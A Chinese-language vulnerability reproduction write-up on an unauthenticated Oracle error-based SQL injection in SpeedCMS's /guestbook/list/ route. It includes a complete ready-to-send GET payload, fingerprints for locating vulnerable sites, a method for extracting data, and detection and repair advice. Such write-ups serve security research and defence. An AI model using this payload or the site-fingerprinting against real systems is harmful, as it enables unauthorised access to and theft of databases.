SpeedCMS NewsList.php SQL注入漏洞复现

0x00 漏洞概述

SpeedCMS 是一套以 PHP 编写的内容管理系统，其官方站点历史上位于 speedcn.net 域名之下。漏洞描述指出，SpeedCMS 的 NewsList.php 接口存在 SQL 注入漏洞，攻击者可利用该漏洞对目标系统造成未授权影响，可能导致数据泄露或权限提升。

在整理可复现请求时有一个需要说明的细节：登记信息中给出的漏洞路径为 NewsList.php，而能够稳定触发注入的请求实际落在 /guestbook/list/ 这一留言板列表路由上，注入点为路径式参数 cid。两者指向同一产品对用户输入缺乏过滤的共性问题，但形态并不一致。本文遵循惯例：以请求的实际形态为准，在利用链一节完整给出可直接复现的注入请求。该漏洞无 CVE 编号，公开评分 CVSS 9.8，属于未经认证即可触发的注入类问题。

0x01 影响范围

受影响的具体版本没有公开编号或官方公告可以直接对应，研究者无法给出确切的版本清单，此处不作无据推断。可以从页面特征入手识别该产品：部署了 SpeedCMS 的站点，其页面正文中通常出现指向 http://www.speedcn.net/ 的链接，或包含后台登录路径 /admin/auth/login/loginPortalId/。具备上述特征的站点均值得针对本文所述注入点做排查。

从载荷构成看，注入语句使用了 xm lType、CHR() 位码拼接与 FROM DUAL 等语法，这些是 Oracle 数据库的典型特征（推断），即目标站点后端数据库为 Oracle。

0x02 漏洞分析

将触发注入的 URL 解码后，注入点一目了然：请求路径为 /guestbook/list/portalId/86/cid/828')...，其中 portalId/86 是固定值，而 cid 的取值被直接拼接进 SQL 语句，闭合单引号后即可注入任意表达式。

载荷的核心构造值得拆解。注入者没有直接书写特殊字符，而是全部用 CHR() 数值拼接，规避了 URL 与 WAF 层面对引号、尖括号等字符的审查：CHR(60)||CHR(58) 拼出 <:，CHR(113)||CHR(118)||CHR(107)||CHR(107)||CHR(113) 拼出 qvkkq，尾部 CHR(113)||CHR(106)||CHR(120)||CHR(113)||CHR(113) 拼出 qjxqq，中间夹入子查询 (SELECT (CASE WHEN (2137=2137) THEN 1 ELSE 0 END) FROM DUAL)。条件恒真时该子查询返回 1，整体得到字符串 <:qvkkq1qjxqq>。

随后整段表达式被包进 UPPER(xm lType(...)) 中。xm lType 在解析非法 xm l 时会抛出数据库异常，异常信息里恰好携带这个拼接字符串，于是标记连同条件判断结果一并回显到页面响应中。请求末尾的 -- jWTg 注释掉原语句剩余部分，保证语法完整。研究者只要观察响应中是否出现 qvkkq1qjxqq，即可判断注入是否成立；进一步把恒真条件替换为任意子查询，就能借助同样的报错通道逐项取出数据库内容（推断）。

0x03 利用链与请求包

利用链非常短：无需登录、无需 Cookie、无需任何前置步骤，单个 GET 请求即可完成从触发到回显的全过程。以 192.0.2.10 为示意目标，完整请求如下：

GET /guestbook/list/portalId/86/cid/828')%20AND%202137=(SELECT%20UPPER(xm lType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(113)%7C%7CCHR(118)%7C%7CCHR(107)%7C%7CCHR(107)%7C%7CCHR(113)%7C%7C(SELECT%20(CASE%20WHEN%20(2137=2137)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(113)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(113)%7C%7CCHR(113)%7C%7CCHR(62)))%20FROM%20DUAL)--%20jWTg HTTP/1.1

判定命中需同时满足两个条件：服务端返回 HTTP 状态码 200，且响应正文中包含字符串 qvkkq1qjxqq。命中即说明 cid 参数确实被拼入 SQL 并由 Oracle 报错通道回显，注入成立。

如需据此提取数据，可将载荷中的恒真条件替换为形如 (SELECT ... FROM ...) 的目标子查询，报错信息中的标记位置即回显查询结果（推断）。整个过程不依赖任何会话状态，响应差异完全由数据库执行结果决定。

0x04 检测与修复建议

排查层面：在 Web 访问日志中检索 /guestbook/list/ 路径下同时含有 xm lType、CHR(、CASE WHEN 等特征的 GET 请求；对数据库侧的异常报错与高频查询做同样回溯，发现异常查询或数据导出后及时处置。

修复层面：一是升级至官方修复版本或更高版本，升级前备份配置和数据；二是将所有拼接 SQL 的位置改为参数化查询，对用户输入做严格过滤；三是使用最小权限的数据库账号运行业务，并限制相关接口的来源；四是部署 Web 应用防火墙对数据库操作进行监控。暂无法升级的系统应优先收缩该路由的暴露面。